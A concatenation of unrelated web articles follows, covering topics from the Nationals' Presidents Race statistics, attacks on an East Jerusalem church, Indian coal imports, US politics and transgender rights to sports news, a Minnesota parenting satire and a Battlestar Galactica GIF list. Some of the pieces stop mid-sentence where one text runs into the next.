“We should stop trying to scare each other off. Nobody will achieve anything through sanctions. We took our sovereign policy and will continue to do so. It’s impossible to make us change our course through sanctions, the sooner everybody understands that, the better for everyone.”If you’ve ever attended a Nationals’ home game, you’ve probably seen the best promotional event held in the Washington D.C. area– the Presidents Race. Beginning as a cartoon race featured on the video board of old RFK Stadium in 2005, the first-ever live race was held on July 21, 2006. The 10-foot tall presidents run the length of the field — across the warning track, down the foul lines, around the diamond — while often avoiding obstacles such as traffic cones and competing teams’ mascots. The race reached a fever pitch in the community and media in 2012 when Teddy Roosevelt finally broke his humiliating 500+ race-losing streak. The original competitors — Teddy, George Washington, Abraham Lincoln, and Thomas Jefferson — were joined by William Howard Taft in 2013 and Calvin Coolidge earlier this month.
As we approach the 9th year anniversary of the Presidents Race, I thought it would be interesting to look for correlation between the Presidents Race winners and the Washington Nationals’ on-field performance. Let’s begin with a few caveats. I’ll be looking at data from the beginning of 2013 to July 2, 2015. I chose 2013 as a starting point because it marked the end of Teddy’s losing streak and the beginning of William’s running career. I did not include any data from Calvin’s career because of small-sample-size issues. Also, regarding the racing record in relation to the Nats’ performance, I include data from 4th-inning races, extra-inning races, both races in a double-header, and all playoff races. Finally, I want to give a big thanks to Let Teddy Win! which is a tremendous wealth of Presidents Race knowledge, data, and video.
Abraham is the easy race champion over this time period, finishing 2nd in the final standings in 2013 and 2014. Teddy was carried by his impressive 29-win campaign in 2014, while let’s just say that Thomas is better at writing declarations than at running races. It should be noted that Teddy has been disqualified many times in his racing career because of infractions like unnecessary roughness and cutting the outfield corner.
From 2013-2015, the Nationals were 123-80 (.606) at home, the 3rd best home record in MLB, trailing only St. Louis (.667) and Pittsburgh (.632) over the same time period. To fully appreciate the influence (for better or worse) that the Presidents Race winners had over the Nationals’ on-field performance, we need to look for the winning percentages farthest from.606.
Unsurprisingly, the father of our nation has the biggest positive influence over the Nationals ballclub, leading the squad to a crushing.697 winning percentage. The newcomer, William, also inspired the Nats to play well, despite their mediocre run differential after his race victories. And while Nats fans and opponents may love Teddy (first as a lovable loser and now as a legit competitor), Nats players have not been inspired on the nights he crosses the finish line first. (Teddy went undefeated in the 2014 playoffs, and the Nats went winless in those games.)
The front-runner for this year’s National League Most Valuable Player is clearly inspired by the nation’s front-runner for Most Valuable President. At the plate after a George victory, Harper mashes to the tune of.325, while on-pace for a 50+ HR season. Teddy and Abraham again bring up the rear, and William has another strong showing, reinforcing the idea that “as Harper goes, so go the Nationals.”
Not only does Zimmermann pitch more often on George-victory days than on other days, but he also puts up his best numbers after George pulls out a win. Teddy upsets the pattern by inspiring Zimmerman to a 2.35 ERA and a 9 K/9 mark, the best of the five.
Taft famously threw the first-ever presidential first-pitch, yet both Nats pitchers remain uninspired on William’s victory days. Thomas remains the least influential president (perhaps due to the rarity of his victories), inspiring the team, Harper, and both pitchers to average winning percentages and average career numbers. Lincoln inspires Storen’s lowest ERA and 2nd best K/9.
The results of this data crunch are clear: while Teddy may be a lovable loser, some of that losing might be rubbing off on the Nationals. And if you’re a Nats fan, you probably want to root for George. Bryce Harper and Jordan Zimmermann clearly do.By -
ISTANBUL, Turkey (Morning Star News) – In the latest of several attacks on a congregation in East Jerusalem, young men with ties to a Palestinian militant group wired shut a church door and sprayed a gaseous substance at those inside hours before dawn on Monday (Sept. 29), church sources said.
No one was injured as those sleeping or keeping vigil fled into a hallway before the chemical spray could impair breathing, but it was the second “gas attack” in the past two weeks, Living Bread Church leader Karen Dunham told Morning Star News. On Sept. 17, a man passing by the church’s patio area opened a plastic bag containing a small gas canister inside. Within seconds, Dunham said, people on the porch were unable to breathe and fled into the church building – only to find that someone had pumped the same chemical spray into the worship hall.
Dunham, who suffered a broken wrist in a Sept. 21 assault by young men from the same group, said the attacks aim at stopping the church ministry and forcing the congregation to abandon the property. She believes the assailants are part of a criminal group trying to seize the property.
The Christians opened windows, and the substance dissipated. Dunham said it wasn’t tear gas, which can be relatively common in East Jerusalem, but was something that made it impossible to breathe.
“I’ve been here six years, and I’ve never had any trouble like this,” Dunham said.
Security video footage taken Monday shortly after 2 a.m. shows two men jumping over a security barrier onto the patio of the church, wiring the doors of the church shut and destroying two security cameras that were installed earlier that day. Seconds before the security video goes black, one of the men takes something out of his pocket and moves toward one of the windows of the building.
According to witnesses inside the church building, it was a canister that contained some type of gas.
“One of them took out a can of yellow gas that is similar to Mace, but it messes with the lungs, and sprayed it on the inside of the building,” said Drew Greek, a U.S. volunteer at the church. “We all had to run out and shut the door [to the room] so we couldn’t get hurt by the gas that they were spraying inside. We ran into the hallway of the church and shut the door to the room.”
Police had to release the group trapped in the building. Hours before the early morning attack on Monday, someone threw a rock through one of the windows of the church building. And on Sunday (Sept. 28), a Palestinian and a few adolescents assaulted Greek as he emptied trash into a dumpster outside the church building.
Living Bread Church holds a unique place in East Jerusalem in that its congregation is made up largely of expatriates who come to Israel and volunteer to work on social and spiritual projects through the church. The building Dunham rents is strategically located in a commercial area on the main road that divides Arab East Jerusalem from an Orthodox Jewish neighborhood, outside the Damascus Gate of the old city of Jerusalem.
Dunham described the attacks as a land grab and an act of religious persecution to punish her for the church’s activities with the local population. In addition to telling others about the life of Jesus, Dunham oversees several programs to address the needs of the poor.
The latest incidents follow two months of attacks against the church, which rents and uses the property for worship meetings and as an office to run ministry work.
In July, when the Israeli government began bombing targets in the Gaza Strip in retaliation for the kidnapping and murder of three Israeli adolescents, violence and criminal activity exploded in the Palestinian-populated neighborhood of East Jerusalem, Greek said. Part of the criminal activity involved illegal land grabs, and Dunham returned from the United States two months ago to find a small house and a massive shade tent built illegally on part of the property.
A Palestinian with connections to organized crime and powerful politicians erected the structures, she said. His identity and the name of his organization are withheld for security reasons.
Dunham’s landlord, who is elderly and suffers from a heart condition, shied away from helping her, she said. As the days passed, men would appear at the church building at night and remove parts of it. One night the wrought iron security gate protecting the back porch disappeared. The vandals then stole iron shutters that covered some of the building’s windows. There was also an attempt to steal a door to the building.
When Dunham initially complained to police, officers took reports but were indifferent, she said. When she kept complaining, those trying to push Living Bread off the property found out about her complaints, and the assailants begain directing their violence toward people rather than things.
On Sept. 21, one of the young men with ties to the Palestinian militants followed her on foot as she was walking near the church building. Without warning, he ran
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India’s tax on coal doubled to US$4/t effective April 2016. This is an almost unique move to levelise the energy sector playing field.
In this context, with unsubsidised, utility scale solar electricity now available at as low as Rs4.34/kWh (US$64/MWh) fixed flat for twenty five years, imported coal is structurally challenged.
Indian solar generation costs have fallen 25% in just one year. IEEFA forecasts that continued technology and economies of scale gains will continue at 5-10% annually, further eroding imported coal’s competitiveness.
As a confirmation of this trend, the largest power firm in India is NTPC Ltd with 46GW of mainly thermal power generation capacity. At the start of 2015/16, NTPC forecast it would import 21Mt of thermal coal.
Last week, NTPC reported its coal imports in 2015/16 were down 42% yoy to just 9.5Mt.[iv] Further, NTPC has forecast it will not import any coal in 2016/17.[v]
Even further, Goyal has directed NTPC to pursue a rapid upstream vertical integration strategy that will see in-house domestic coal mining capacity ramp up to 300Mtpa by 2020, in addition to Coal India Ltd’s doubling to 1,000Mtpa of coal capacity.[vi]
The rate of Indian coal import decline is accelerating every month. Following five years of 20-30% annual growth, this marks an historic turning point in energy market transformation.The global population is rapidly increasing. Between 1990 and 2015, it increased by around 2 billion people. Furthermore, it is estimated that the global population will have increased by another 1 billion by 2030. Asia is the continent with the largest population, followed by Africa and Europe. In Asia,the two most populous nations worldwide are located, China and India. In 2014, the combined population in China and India alone amounted to more than 2.6 billion people. for comparison, the total population in the whole continent of Europe is at around 741 million people. As of 2014, about 60 percent of the global population was living in Asia, with only approximately 10 percent in Europe and even less in the United States.Europe is the continent with the second highest life expectancy at birth in the world, only barely surpassed by Northern America. In 2013, the life expectancy at birth in Europe was around 78 years. Stable economies and developing and emerging markets in European countries provide for good living conditions. Seven of the top twenty countries in the world with the largest gross domestic product in 2015 are located in Europe.ROME - Rome's mayor and officials are considering a "red light" district to shield prostitutes from exploitation and families from embarrassment.
Prostitution is legal in Italy, and its practitioners are a common sight along several streets in Rome and many other Italian cities.
City officials in the EUR neighborhood, filled with ministries, office high-rises and residential buildings, want to designate certain streets for prostitutes, starting experimentally in April.
Mayor Ignazio Marino told state TV RAINews24 Sunday the aim is to "find a balance" by pinpointing places, such as parks frequented by children and families, where prostitution won't be allowed, and by designating some streets where it will.
Exploitation of prostitution is illegal, as is paying minors for sex.
EUR official Andrea Santoro says designated streets will help ensure prostitutes aren't put there by traffickers. Many women leave homes in Africa and Eastern Europe for Italy after promises of work like waitressing, but instead are forced into prostitution by trafficking rackets.
Some neighborhood groups like the proposal. Paolo Lampariello, from one such group, said there are so many prostitutes on EUR's streets that "women can't enter their homes without being mistaken for prostitutes."
The newspaper Avvenire, of the Italian bishops' conference, scathingly described the designated-streets-for-prostitutes plan as "a hypocritical (and perhaps ideological) operation for urban 'decorum.'"
The city would provide psychological support and health care to prostitutes on the designated streets. Clients of prostitutes working on non-designated streets would risk fines of 500 euros (about $550) under the plan.
Pope Francis decried the "shameful plague" of human trafficking and urged prayer and reflection about the problem.
Marino's political roots are in a centrist faction of the Italian government's main coalition party, the Democrats.Some party leaders were frustrated by the optics of passing such a resolution. | AP Photos RNC OKs anti-gay marriage stance
HOLLYWOOD, Calif.—With no debate, the Republican National Committee voted unanimously here Friday to reiterate the party’s opposition to gay marriage.
The push from social conservatives came after last month’s “autopsy” report called for more GOP outreach to gays and said the party must change its tone on the issue to appeal to younger voters.
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Some party leaders were frustrated by the optics of passing such a resolution at a spring meeting in the heart of one of the country’s most gay-friendly enclaves, and there was a clear effort to avoid a public back-and-forth over the measure. The resolutions committee passed it during a private Wednesday session that was closed to the press.
The language of the resolution affirms the party’s “support for marriage as the union of one man and one woman” — a position that was already in the platform that passed at last August’s Republican convention.
A Wall Street Journal/NBC poll released earlier in the day found that 53 percent of registered voters now favor allowing gay and lesbian couples to marry, with 40 percent in opposition. The poll found that 54 percent of independents back gay marriage, but 66 percent of Republicans oppose it.
The resolution goes on to describe heterosexual marriage as “the solid foundation upon which our society is built” and “the optimum environment in which to raise healthy children for the future of America.”
“It has been proven repeatedly that the most secure and nurturing environment in which to raise healthy well adjusted children is in a home where both mother and father are bound together in a loving marriage,” the RNC resolution said.
It also “implores the U. S. Supreme Court to uphold the sanctity of marriage in its rulings on California’s Proposition 8 and the Federal Defense of Marriage Act.”
Other resolutions passed by the 168-member governing body of the Republican Party praised Ron Paul, called for “cooperation with the conservative grassroots,” and expressed support for the space program.What’s in a name? For many transgender Costa Ricans, a lot. Starting with the fact that in many cases, the names on their government-issued IDs have nothing to do with self-image or identity.
Karolina Malone Esquivel, 24, told The Tico Times that she began her transformation from boy to girl at the age of 14. But since graduating high school, she said it’s been impossible to find work. And that discrimination starts with the name on her cédula.
“I’ve left résumés, I’ve gone everywhere and no one ever calls me,” said Esquivel, who joined several others on Aug. 28 in a protest in front of the Supreme Elections Tribunal in San José, where the Civil Registry is located.
She arrived well dressed, her honey-colored hair streaked with shades of brown. Her clothes were pressed, her nails long, and makeup flawless.
“They create barriers for us. For example, I could say my name is Luis, Carlos or Pedro, but I don’t feel I’m a man. I need a feminine name that goes with my image,” Esquivel said.
Anyone can change his or her name in Costa Rica free of charge, in a simple bureaucratic process at the registry, as long as the new name is of the same gender as the birth name. And herein lies the problem for transgender Ticas and Ticos.
Those who can afford it can hire private lawyers to fight for the procedure in court. But many attorneys are aware of the difficulties transgender citizens face, and they charge exorbitant rates, according to members of Transvida, an advocacy group that organized last week’s protest.
Typically an attorney charges transgender clients about $560 for a name change, and that doesn’t include extra fees for the time spent before judges. Transvida argues that this is discrimination.
“Many attorneys are familiar with the procedure to change a name, and they’ll do it, but only in exchange for outrageous fees,” demonstrator Pamela Fernández said.
That’s not my name
On Esquivel’s ID, a young woman’s face stares out from the picture. But the name is a boy’s. There is a line labeled “known as,” where it states “Karolina.” But that name is useless for official paperwork or any other transaction.
When a person’s photo doesn’t match the gender of a name on an identification document, it leads to problems. And life already is difficult enough, Esquivel said.
In the workplace, transgender employees often are viewed as “undesirables” by coworkers, she said. The stigma is the same in schools and at health care centers.
“When you go to the Caja [Social Security System], they call out your name loudly, in front of everyone. Those situations are humiliating for someone who looks different than their name,” she said.
Transvida President Dayana Hernández said that having a name that reflects one’s identity is a human right, and last week’s protest aimed to educate others that human rights aren’t negotiable.
Fernández noted that, “The transgender population isn’t a small one. As you can see [at the demonstration] there are many transgender girls and boys, and we all face barriers preventing us from working.”
Esquivel said discrimination is often a primary reason that many turn to prostitution, which is legal in Costa Rica, to make ends meet.
“Most of us really don’t want to work in the sex trade,” she said. “We want something different, something more stable, instead of facing the cold and taking risks.”
Two months ago, Esquivel registered for classes at a San José university, where she plans on studying human resources. She hopes to become a boss.
“Since no one never hired me, one day, I’ll be the person doing the hiring,” she said.
Three months ago, eight members of Transvida petitioned the courts through public legal counsel. But their cases have gone nowhere, they said. In the legal battle to allow transgender Costa Ricans to change their names, only a judge can order the Civil Registry to waive its gender rule. Cases are ongoing in courts in Desamparados and San José, and some members will file another case in Guadalupe, where they hope to find a sympathetic judge.
Said Fernández: “At 14, I decided to be a woman. At 20, I still haven’t managed to get people to recognize the name I chose: Pamela.”The story of the Baltimore Ravens' offseason comes down to a laundry list of veteran players walking out the door. It was believed the team would not allow Ed Reed to get away, but that might not be the case.
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NFL.com's Ian Rapoport reported Wednesday the Ravens are "very pessimistic" about the prospects of re-signing the 34-year-old safety, according to sources familiar with the team's thinking.
The Baltimore Sun reported this week that the Houston Texans offered Reed a three-year, $12 million contract, which the Ravens don't appear willing to match at this stage. Rapoport reported Wednesday that Reed will have to take less money than the Texans have offered if he wants to return to the Ravens.
That doesn't mean Reed is a lock for the Lone Star State. The Sun reported Tuesday that Reed is seeking money close to the $7.2 million he made in Baltimore this past season, but nobody's going to pay him anywhere close to that, meaning this could drag on for some time.
The expectation was that a deal for Reed -- from the Ravens or Texans -- likely was to come together at this week's NFL Annual Meeting in Phoenix. Instead, the Ravens reportedly have set up a visit with Michael Huff. The former Oakland Raiders safety is no match for Reed, but he's four years younger and would come a lot cheaper.
Follow Marc Sessler on Twitter @MarcSesslerNFL.Open carry activists paraded assault rifles close to the Republican National Convention where a National Rifle Association speaker was greeted with cheers on Tuesday.
Clad in camouflage with weapons slung across their shoulders, advocates exercised their right to carry their guns in a public square, close to the Quicken Loans Arena in Cleveland, where delegates officially nominated Donald Trump as their presidential nominee.
Among the speakers at the convention Tuesday was National Rifle Association (NRA) executive director Chris Cox, who took the opportunity to target Hillary Clinton.
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Armed: Members of the open carry group West Ohio Minutemen gather in Public Square on the second day of the Republican National Convention
Rights: Tevor Leis (center) exercises his Ohio open carry rights in Public Square, Cleveland, on Tuesday
Micah Naziri (left) and Jaimes Campbell, advocates for open carry, patrol the streets of Cleveland
Ohio is among the states that allow licensed gun owners to carry their weapons in public. Pictured: Two men carry weapons in Cleveland
'We live in dangerous times. We're worried and we have reason to be because our government has failed to keep us safe. You have to be able to protect yourself and your family and that's what the Second Amendment is all about,' Cox said.
'A Hillary Clinton Supreme Court means your right to own a firearm is gone,' he added. 'Make no mistake, this election is not about the next four years, it's about the next 40 years.
'So voting for Hillary Clinton, or not voting, is simply not an option. What's so outrageous is that for the rest of her life, Hillary Clinton will never even think about dialing 911.
'For the past 30 years, she hasn't taken a walk, a nap or a bathroom break without a good guy with a gun there to protect her.'
He added: 'The only way we save it [the Second Amendment] is by electing Donald Trump the next president of the United States.'
Among those carrying weapons in the streets were members of the West Ohio Minutemen, a 'constitutional militia' who patrolled downtown Cleveland.
Among the speakers at the convention Tuesday was National Rifle Association executive director Chris Cox
Donald Trump turned up in Cleveland via video on Tuesday night for an unannounced speech
Member Trevor Lees, 23, told NBC News: 'We're here to make sure the police know they have some support.'
Even gun rights advocates have questioned whether people should be allowed to carry rifles and handguns during protests at the RNC in the wake of the shootings of six police officers in Baton Rouge Sunday.
Backers as well as opponents of Trump expressed concerns about the prospect of weapons being carried in open sight around the convention site.
Ohio is among the states that allow licensed gun owners to carry their weapons in public, and gun rights activists, particularly in Texas, have taken to expressing that right often in large-scale events.
In the so-called event zone at the Republican convention, a 1.7-square-mile area, authorities have banned items such as tennis balls, steel-pointed umbrellas and wood posts, but firearms are permitted under state law.
Clad in camouflage with weapons slung across their shoulders, advocates exercised their right to carry their guns in public
Members of the West Ohio Minutemen carry their assault weapons while patrolling downtown Cleveland
Among those carrying weapons in the streets were members of the West Ohio Minutemen (pictured)
In a smaller 'hard zone' surrounding the convention hall, which is temporarily under federal jurisdiction, guns are banned, meaning delegates cannot be armed on the convention floor.
The head of Cleveland's police union, however, on Sunday urged Ohio Governor John Kasich to suspend laws allowing the open display of firearms during the convention.
Kasich, who had challenged Trump for the Republican nomination, said he lacked the legal authority to take such a step.by Edie Larson
From time to time, we offer free editorial space to common folk with something to say. Today’s topic for discussion concerns the issue of parenting, a subject that has been in the news lately.
Nobody wonders how Minnesota parents raise such stereotypically stereotypical kids. They never wonder what these parents do to produce so many nice children or what it’s like inside a nice family. Well, I can tell them anyway, because I’ve done it. If it’s not too much trouble and you have a minute, here are some things my daughters, Jenny and Cristi, were never allowed to do:
• Skip doing their homework
• Put their elbows on the table while eating supper
• Miss church (except for the day after prom, during deer hunting season, and on Super Bowl Sunday)
• Go to school in April without a jacket
• Get into a van with a strange man
• Use swear words in the house
• Forget to call grandma on her birthday
I’m using the term “Minnesota mother” loosely. I know some Dakota, Wisconsin, Iowan and Minneapolis parents who qualify too. Conversely, I know some mothers of Minnesota heritage, almost always born out of state, or Catholic, who are not Minnesota mothers, by choice or otherwise.
All the same, even when other parents think they’re being nice, they usually don’t come close to being Minnesota mothers. For example, my Chicago friends who consider themselves nice only apologize to guests about how badly prepared the mashed potatoes are. At most, they’ll include the carrots. For a Minnesota mother, apologizing for the potatoes is the easy part. It’s asking forgiveness for everything from the poor selection of cheese and crackers, to the dry turkey, to the weakness of the pie due to the poor selection of apples at Byerly’s that’s tough. (To say nothing of how the coffee could be better.)
Despite our squeamishness about comparing ourselves to others in public, there are tons of studies out there showing marked and quantifiable differences between Minnesotans and others when it comes to parenting. In one study of 50 non-Minnesota mothers and 48 Minnesota mothers, almost 89% of the non-Minnesota mothers said that “if a person mispronounces your name you should immediately correct them.” By contrast, roughly 0% of the Minnesota mothers felt the same way.
Minnesota parents can get away with things that other parents can’t. Once when I was young — maybe more than once — when I was extremely disrespectful to my mother, my father angrily went to the basement to look for something for over two hours without coming back upstairs. I felt terrible and deeply ashamed of what I had done. But neither I, nor anyone else ever spoke of it ever again.
Minnesota mothers can say to their daughters, “Oh, you’re going to wear that dress?” By contrast, other parents have to directly address the issue, talking in terms of “sluttiness.”
If a Minnesota child gets a B, well, good for them! Room for improvement.
Other parents try to respect their children’s individuality, encouraging them to pursue their true passions, supporting their choices, and providing positive reinforcement and a nurturing environment. Minnesota parents would surely do this too if we knew anything about the passions or feelings of our children.
Here’s a story in favor of niceness, Minnesota-style: Aunt Lena is about 84, still using the restroom and driving by herself. She was a real firebrand. After she lost Ole, her husband of 61 years, we were over at her house for meatloaf. It had been just a month and we were worried about how she was coping, alone in an old farmhouse far from anyone else.
In the middle of ice cream, Lena became very quiet and looked as though she was going to cry. I immediately mentioned how we were supposed to get some snow by Friday, but that I wasn’t sure if it was going to be three or five inches. Lena clicked on the local news, and, wouldn’t you know it, we caught the end-of-program forecast. It was five inches. And we got to talking about if it would be wet and heavy or the good light stuff we’ve been getting lately which is really easy to sweep and not much of a hardship at all, in fact, it makes it nice to get out there and get some exercise, especially if the wind isn’t blowing.
Even my husband Carl gave me credit for that one. Without nice, Lena would have had to face her crushing grief in front of us. Thanks to the Minnesota style, Lena was able to avoid an embarrassing expression of her emotions.
Don’t get me wrong: It’s not that Minnesota parents don’t care about their children. Just the opposite. They would sacrifice anything for their children, even if it was out of their way and they weren’t already sacrificing something anyway. That’s just who we are.
But if you don’t agree with the Minnesota mother’s approach, well, I’ll look into that. Maybe you’re right.
Edie Larson just does not know how to feel about the Packers being in the Super Bowl this year.Getty Images
EL SEGUNDO, Calif. — Now that the sunny post-Dwight Howard team harmony has been established and Kobe Bryant has made his much-anticipated return landing, what would be the next step in a Cinderella season for these L.A. Lakers?
Pau Gasol shining again like a Spanish prince before the clock strikes midnight on his Lakers career?
Bryant staggered to the finish of the loss to the Toronto Raptors, but at least he got to play at the end of his comeback game Sunday night. Whereas Mike D’Antoni felt obligated to give Bryant a chance despite what his gut told him, there was not even such faith in Gasol, who stayed on the bench the entire fourth quarter.
Gasol sat with his chin in his hands and stared straight ahead in deep thought as the final minutes of the game sank in.
The man whose trade arrival in 2008 triggered three consecutive trips to the NBA Finals for the Lakers had earlier been booed by the home fans for his struggles.
“Yeah,” Gasol said Monday about the boos. “Everybody heard.”
Nick Young, new to the team and about as different a guy as you could find from Gasol, wore a pained expression on his usually joyful face as he sat on the bench and heard.
Andrew D. Bernstein/Getty Images
In an interesting testament to the Lakers’ connectivity and Gasol’s role as sole team captain while Bryant was out, Young looked up and around Staples Center for a moment as if to make sure he was hearing it right. Then Young, still looking around at the fans, raised his own hands high to applaud—trying to change the harsh tune.
For all the talk about Bryant and Steve Nash as aging players staying too long or not being worth their wage, Gasol has been an even more compelling case because he has gotten the opportunities on the court to do his thing and simply hasn’t.
The relevant question is whether he still can. If he wasn’t able to carry the team while Bryant was out, the next-best development would be Gasol helping carry the team while Bryant works his way back to form.
Maybe sitting out that fourth quarter wound up doing some good, saving Gasol extra burden on his sprained right ankle and inflicting some meaningful pain on his ego.
Gasol on Monday was brash with the kind of bold talk that Bryant loves to hear from him.
“The ones who were booing will be clapping next time,” Gasol said.
He had taken it to fellow Lakers big men Jordan Hill and Robert Sacre in a one-on-one post drill to wrap up practice. Gasol’s excessively guttural noises while attacking and scoring time after time could be heard all the way across the gym. And when Gasol scored to win the workout, he punted the ball off the gym wall in an added show of aggression.
Noah Graham/Getty Images
Asked later how many consecutive times he scored on Hill and Sacre, Gasol said flatly: “Every time I wanted to.”
A grinning Sacre later pointed out that he won a game earlier, to be fair. But when Gasol had been really rolling in that last drill, Hill also couldn’t stop smiling because of how fun it was to see Gasol going nasty.
Although it makes little sense, Gasol said his ankle felt better Monday morning despite playing on it Sunday night. He said about his plan for the sprain: “Push through it and be more aggressive.”
What he means by that, we shall see, because D’Antoni’s solution for Gasol’s weak interior offense has been the same as for Howard last season:
Set a pick and dive into the paint, which will get you where you want to go and make something happen for the team. It is not the preferred method of touches for Gasol, same as it wasn’t for Howard, but if you really want to make the best of it, you go for it.
Even though Bryant told D’Antoni he felt “great” physically the day after his return from the Achilles tear, the Lakers still need Gasol to do it inside.
Hill’s Earl Clark-like run of production has ended, with D’Antoni concluding Hill can’t sustain his effort for long stretches. Chris Kaman has a sore back and defensive limitations anyway. Sacre is much improved but might be replaced by the outside-shooting Shawne Williams in the starting lineup Tuesday night against Phoenix, paving the way for Gasol to be the one main inside player in D’Antoni’s four-out system.
Maybe you give Gasol a pass for his feeble play so far because he was off his feet for about three months of the offseason from tendon-regenerating procedures to both knees. If so, his time to work his way back is now over. He said Monday his knees—which he allowed are his “biggest concern”—are “pretty good” and feeling better than they did at any point last season.
Lakers fans had chanted for Kobe in that fourth quarter, not Pau. Realistically, though, this should be Bryant’s time to work his way back, not Gasol’s.
Andrew D. Bernstein/Getty Images
Gasol missed an uncontested shot in front of the rim off a perfect Bryant pass early Sunday night, and that took a lot out of the Lakers’ emotional lift from Bryant’s return.
Then Bryant spent much of the rest of the game trying to set Gasol up for more chances, talking to him at length about how they should adjust to pick-and-roll coverages and alter passing angles to feed Gasol—all the things Bryant is used to doing to make Gasol look good.
Gasol didn’t look good Sunday night—and the real shame of it is that no one even considered the logical flip side that Gasol could be the one making Bryant look good.
Gasol didn’t do that either, in more ways than one—and Gasol knew Bryant would need help. Gasol was the one who said before Bryant’s debut that from practices, he could tell that Bryant “didn’t quite have the explosiveness he did. It’s part of the process.”
For all he has been doubted in his comeback, Bryant is viewing the Lakers as the ultimate underdog crew now, saying: “A team full of guys who’ve been second-guessed…that binds us as a group.”
Yet when it comes to Gasol, the reason he rested on his laurels with such deference to Andrew Bynum and Howard and absolutely disappeared in the 2011 and ’12 playoffs is because he has never been that dog.
Jayne Kamin-Oncea-USA TODAY Sports
For all his perceived glitter, Bryant gritted through and persevered as the Italian kid on the American blacktop, the guy who went 4-20 as a Lower Merion freshman, the skinny preps-to-pro wannabe and the air-ball shooter in Utah.
Gasol is an ambitious, intelligent humanitarian who has proved a worthy competitor on the court.
But the Lakers don’t need a prince now.
They need a present-day pauper who won’t accept anything short of rising up to be basketball royalty again.Another day, another set of tweets from Donald Trump. This time the President of America has made a ruling about trans people serving in the military. Namely, they now can’t. Despite the fact thousands already are.
In an announcement on the social networking site, the former businessman said trans people would not be allowed to serve “in any capacity” as the military must be focussed on “decisive and over-whelming victory” – not “tremendous medical costs and disruption.”
It’s a massive blow for trans rights in the country, especially considering the Pentagon had promised to end the ban back in January last year. It’s not even as if there aren’t trans people serving already. Captain Jennifer Peace, an intelligence officer based in Seattle, is just one example.
Despite having already begun her transition, and legally changing her name, both she are her soldiers will be reprimanded if they do not address her as ‘Sir’. She must also cut her hair to the short standards set for men, as opposed to those for women. She is just one of an estimated 15,000 trans people serving in the US forces, forced to either stay hidden or be treated as the wrong gender.
A Culture of Acceptance and Diversity
Video Credit: Royal Navy
It categorically doesn’t have to be this way though. Here in the UK all members of the LGBT+ spectrum are welcomed into joining the Armed Forces. Proud 2 Serve is just one organisation actively working with the wider community to help make gay and trans people feel at home in the forces, as well as encourage a more diverse pool of people to apply.
It’s part of our human rights to not be discriminated against, something which is protected by the Human Rights Convention. The British Armed Forces have allowed lesbian, gay and bisexual people to serve since 2006 because of a landmark ruling from the Human Rights Court. While the case didn’t specifically mention trans rights, it sets a precedent that any attempt to ban trans people from serving would almost certainly breach our human rights.
The 2010 Equality Act also gives further legal protection for personnel who fall into a series of nine “protected characteristics.” This basically means you cannot be disadvantaged or discriminated against for because of your age, disability, gender reassignment, marriage or civil partnership, pregnancy and maternity, race, religion or belief, or your sexual orientation.
This covers all the armed forces, from the Army to the Royal Air Force. Unsurprisingly, the world hasn’t fallen apart yet, but we have seen some amazing role models. Take Hannah Winterbourne for example, the highest ranking trans officer in the UK. She’s now second in command of a company of almost 100 soldiers, as well as being the transgender officer for the British Army, advising on best practice on education and welfare for trans officers.
Video Credit: All About Trans
She’s also supported by Private Melanie Scott, who was at one point the youngest serving officer in the Army. She also happens to be trans. Both woman say the forces have been nothing but supportive about their identities, but crucially they aren’t defined by it. Instead, their only limit is their abilities. Which is what it’s all about really, don’t you think?
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About the AuthorMembers of Wanna One are getting to take a well-deserved break while traveling in Japan.
The hit rookie group Wanna One, composed of the finalists from “Produce 101 Season 2,” has had a jam-packed schedule which recently culminated in a week of appearances and performances at all three of the major 2017 Mnet Asian Music Awards ceremonies as well as the 2017 Melon Music Awards on Saturday.
According to YMC Entertainment, most of the members are now getting to enjoy a vacation in Osaka, Japan, with their trip being filmed for their reality show “Wanna One Go: Zero Base.” Kang Daniel and Ong Sung Woo have stayed in Korea as they are filming SBS’s “Master Key.”
Wanna One recently made a comeback with their repackage album “1-1=0 (Nothing Without You),” and has won six times on music shows with their title track “Beautiful.” They will be holding their first Korean fan meetings later this month, with the first one set for December 15 in Seoul.
Source (1)Thanks to a robust fandom and non-stop action, there are an excessive number of Battlestar Galactica GIFs online. Trolling through so many has been hilarious and heartbreaking as certain GIFs capture a moment or emotion that instantly bring us back to the couch. After you check out these GIFs you are going to be evangelizing about BSG to your uninitiated friends for the rest of the week. Those who have just finished their Breaking Bad journey may be particularly vulnerable to getting addicted to a new show. Share your DVDs with caution.
Here are the 10 best Battlestar Gallactica GIFs ever:
1.
Kara Thrace is nobody’s victim waiting to be saved. Even as she is being farmed by the Cylons for reproductive material, she is a chaos-filled warrior in her heart. She suspects Simon from the beginning and her instincts don’t betray her. Later we learn that Simon is the fourth Cylon model.
2.
In this GIF, Helo sacrifices himself to save Gaius Baltar, believing that the life of a renowned scientist would be more useful to the human race than his own. Karl “Helo” Agathon was originally going to be killed off early by radiation poisoning, however the character and acting were so compelling that fans demanded to know his fate. The fan reaction prompted the writers to revise his role. His last name, Agathon, comes from an Greek phrase meaning, “the beautiful and the good.” I don’t think anyone could argue a more appropriate name choice.
3.
This shadowy figure is Felix Gaeta, who acted as an anonymous informant to the resistance on New Caprica. His anonymity almost gets him killed as The Circle almost airlocks him for collaborating with the Cylons and the hundreds of deaths. Despite his efforts to aid the resistance, he is executed for mutiny alongside Tom Zarek, another character with many falls and redeeming moments throughout the series.
4.
I know this is two GIFs, but I’m a liar and a scoundrel, and this scene deserved two GIFs. Cavil had been using Tigh’s life to manipulate Ellen into helping the Cylons. Tigh knows that Ellen’s betrayal is punishable by death and that he is responsible for killing her. After all the suffering he has experienced on New Caprica, this was his greatest torture. In a final gesture, Ellen, knowing that Tigh must kill her, takes the cup from him of her own free will, drinks, and dies shortly thereafter.
5.
Doc Cottle is a truly wonderful character. He is rude, gruff, and crusty with no hint of sweetness. Underneath his grumpy facade, he only truly cares about one thing. Healing is his life’s work and he doesn’t care if you are the admiral or a grunt, a Cylon or a human. In this scene, D’Anna is surprised that his goal is to alleviate suffering, with no strings or caveats.
6.
After being knocked unconscious during a shoot out with a Viper, Kara has a vision with a being that looks like Leoben who forces her to confront all the emotional baggage that has led her to be the person she is. She briefly regains consciousness only to tell Lee Adama to leave her to die. She experiences a great calm and then her Viper explodes.
7.
This GIF depicts the famous “Bucket Drop” manoever. There’s not much to say. The Cylons are about to nuke New Caprica and all the humans we know and love. Adama jumps into the planet’s atmosphere and deploys Vipers while hurtling toward the ground. He jumps out just in time to avoid fiery doom. Go rewatch this episode, right now.
8.
